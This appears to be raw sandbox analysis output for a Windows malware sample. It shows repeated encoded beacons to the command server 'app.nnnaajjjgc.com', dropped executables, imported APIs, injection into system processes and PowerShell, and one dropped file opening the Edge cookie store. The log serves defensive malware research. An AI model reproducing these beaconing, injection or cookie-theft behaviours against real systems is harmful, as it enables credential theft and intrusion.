"aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312464&key=f3554304e1618a8a6928b569b13a50f2 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312472&key=96dc7ed7723aed6b8a9b50bfc736ed41 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312482&key=6df0a97f0935be5d94a6ab08c88b4362 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312492&key=a2ad026d7d4414bed451b0dad06d3c43 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312508&key=a8ea6ce274a3ad3a5a088f7242156ce5 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312510&key=41d3198b589baf0213cf9af16b49fff1 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312522&key=e00847db4e4b165915e017317d9879f7 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312534&key=9889af6b68adea18a5f962e4c989e10e HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312538&key=cf79d673483020a52746abb2040e7fc7 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312542&key=2ec5bd232f13e3b62fd3fb1fecd06dc0 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312554&key=3634134e00f6373e0c4c90c31c29c7cf HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312562&key=e6401a5c621ce332d30691f0a5376703 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312572&key=14e81f9c607346f31ba73b15bf834775 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312578&key=20961dd6246c3f150366c2594d417048 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312590&key=99ceed90f452f7012dc64133d421afbd HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312594&key=aba19f00d09762a311fb7e15e8bd7d40 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312602&key=5d7cea06a7720aa01d6c03fa6d216b5c HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312606&key=22f5f2bbd686150ed94e0555c9cd2a00 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312612&key=7b1b9c870057a48bf48ec5c062e3e432 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312618&key=c00265f515679573ce47ef5d156ef089 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=312626&key=c588fb849f3f038f7aa7a0b7a9687f62 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "aG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNekVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HSTRZVFZrTUdRd1pEaUo5" HTTP/1.1 200 OK Server: nginx Date: Sat 26 Aug 2023 15:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A.......51:T649,".exe" wrote 13312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\aafg31.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 15360 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 40816 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 52224 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\latestplayer.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...52:T418,UnhandledExceptionFilter WriteFile GetModuleFileNameW IsDebuggerPresent GetSystemDirectoryA TerminateProcess LoadLibraryW GetTickCount GetStartupInfoA DeleteFileA GetStartupInfoW FindNextFileW FindNextFileA GetProcAddress CreateFileW GetCommandLineW GetCommandLineA GetModuleHandleA GetModuleHandleW Sleep SetSecurityDescriptorDacl RegCloseKey RegOpenKeyExA RegOpenKeyExW LookupAccountNameW GetComputerNameExW GetDriveTypeW GetFileAttributesW LoadLibraryA CreateDirectoryW GetComputerNameW WSAStartup NetShareEnum NetShareGetInfo LookupAccountNameA GetUserNameA GetFileAttributesA GetThreadContext GetTempPathA WriteProcessMemory GetModuleFileNameA LoadLibraryExW CreateThread GetModuleHandleExW GetVersionExW CreateDirectoryA ReadProcessMemory DeleteFileW GetFileSizeEx FindFirstFileExW CreateFileA VirtualAllocEx GetSystemInfo CreateProcessA VirtualAlloc ShellExecuteA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW53:T10c7,".exe" wrote bytes "10369f7420369f74" to virtual address "0x77A001A0" (part of module "COMBASE.DLL") ".exe" wrote bytes "80f65a77" to virtual address "0x776A02AC" (part of module "SHLWAPI.DLL") ".exe" wrote bytes "10f2687600b96776f091de77109d687690926876c0b4687650886876d067687640b26876209c6876108c6876a0a46876507c687650a96876c0b36876805d6876c0e6687690756876c0ee6876a0c4687600c0687610d2677660aa6876" to virtual address "0x77A00228" (part of module "COMBASE.DLL") ".exe" wrote bytes "80de8e7740b68e77" to virtual address "0x73D92090" (part of module "PROPSYS.DLL") ".exe" wrote bytes "40f68777b0078c77409e8777d0d8877770f08e77b0f0877780048877106e887770b78877b0ff8877e0ac977700ba8e7700418e77608a867700918677603c8c7760f88d77606e887750078b7750b88b7740f88e7790418e7750da8e77" to virtual address "0x775ED010" (part of module "SHCORE.DLL") ".exe" wrote bytes "9043c977100cc977" to virtual address "0x753D432C" (part of module "SHELL32.DLL") ".exe" wrote bytes "50078b7790418e77106e8877606e887760f88d77a0f98d77b0f08777608a8677b0ff8877603c8c77f0ef8d7770f08d7700418e7780048877b0078c77b0ff8b7700918677" to virtual address "0x73D92048" (part of module "PROPSYS.DLL") ".exe" wrote bytes "e09c5a77e0035b7770355877801a5b77d0f45a7720415a77500a5b7720875a77f0415a7710305a77d02b5a77e03e5a77e0c35d77" to virtual address "0x73D92008" (part of module "PROPSYS.DLL") ".exe" wrote bytes "a0335a77b0bf5a77" to virtual address "0x77171704" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "70da6776b0a86876" to virtual address "0x774BE2D8" (part of module "KERNELBASE.DLL") ".exe" wrote bytes "40d2af77300db077e0f6af77c0cdaf77" to virtual address "0x771716C4" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "00418e77003d8e77608a8677b0ff887700918677b0078c77e0b6887750b68877b0f0877700928e7750bc8877b0ff8b7790418e7770b7887710c78e7780048877" to virtual address "0x74CC9058" (part of module "CLBCATQ.DLL") ".exe" wrote bytes "b08acf74a061cf746090cf74c01bd074d044cf740059d47470a8cf74e0a7cf7410a3cf746036cf741058cf74408bcf7420a9cf743037cf749076cf742036cf74c037cf74b047cf74f08ccf74" to virtual address "0x77171140" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "1032d87780ecdc77208ad97700000000" to virtual address "0x749A3000" (part of module "WIN32U.DLL") ".exe" wrote bytes "b0bf5a77a0335a77" to virtual address "0x73D920F8" (part of module "PROPSYS.DLL") ".exe" wrote bytes "c0695a77a02f5a7730695a77" to virtual address "0x771716F4" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "d0d0c67490d1c674" to virtual address "0x77A000C4" (part of module "COMBASE.DLL") ".exe" wrote bytes "702b6777403868774079677760096877e026677760166777a01a6777801d6777e01a6777d077677720226777b07b6777e02a6777406b6877c03d677760456777206c67771040677770446777203d677780636777303c687750266777" to virtual address "0x753D4158" (part of module "SHELL32.DLL") ".exe" wrote bytes "d04f9b77f0c2857790c68e7700cb8577f0f38d7740dd8d7760ef8d77102d867780a6857720be8c7770428e77a0be8c77c0ff857740bf8c77e0588e77" to virtual address "0x771715B0" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "3066c977100cc9777023c977" to virtual address "0x771715F0" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "a02f5a77" to virtual address "0x73D920F0" (part of module "PROPSYS.DLL") ".exe" wrote bytes "d04aeb6fc030eb6f4029eb6ff028eb6f406eeb6f0077eb6f70b3eb6fb0b0eb6f90b5eb6f20b7eb6f20b6eb6fa0b6eb6f" to virtual address "0x77171038" (part of module "WINDOWS.STORAGE.DLL") ".exe" wrote bytes "b0bf5a7720345a77a0335a77" to virtual address "0x753D408C" (part of module "SHELL32.DLL") ".exe" wrote bytes "2c74a041" to virtual address "0x726AF798" (part of module "CLR.DLL") ".exe" wrote bytes "408a5977306c5a7770c65a77f0415a7700bd5a7710305a77a0cc5a7720415a7720875a779084597760a35a7790a25a77d0f45a77e0035b77a0e15877402c5b7770d8587770c75a7750515e77c0915a7750895a777035587720ef5a77" to virtual address "0x776A0118" (part of module "SHLWAPI.DLL")54:T41c,".exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (Handle: 1500) ".exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (Handle: 1624) ".exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\latestplayer.exe" (Handle: 1596) "toolspub2.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (Handle: 376) "toolspub2.exe" wrote 512 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (Handle: 376) "toolspub2.exe" wrote 29184 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (Handle: 376) "31839b57a4f11171d6abc8bbc4451ee4.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 684) "31839b57a4f11171d6abc8bbc4451ee4.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 740)55:T665,"aafg31.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 73\NETWORK\COOKIES" 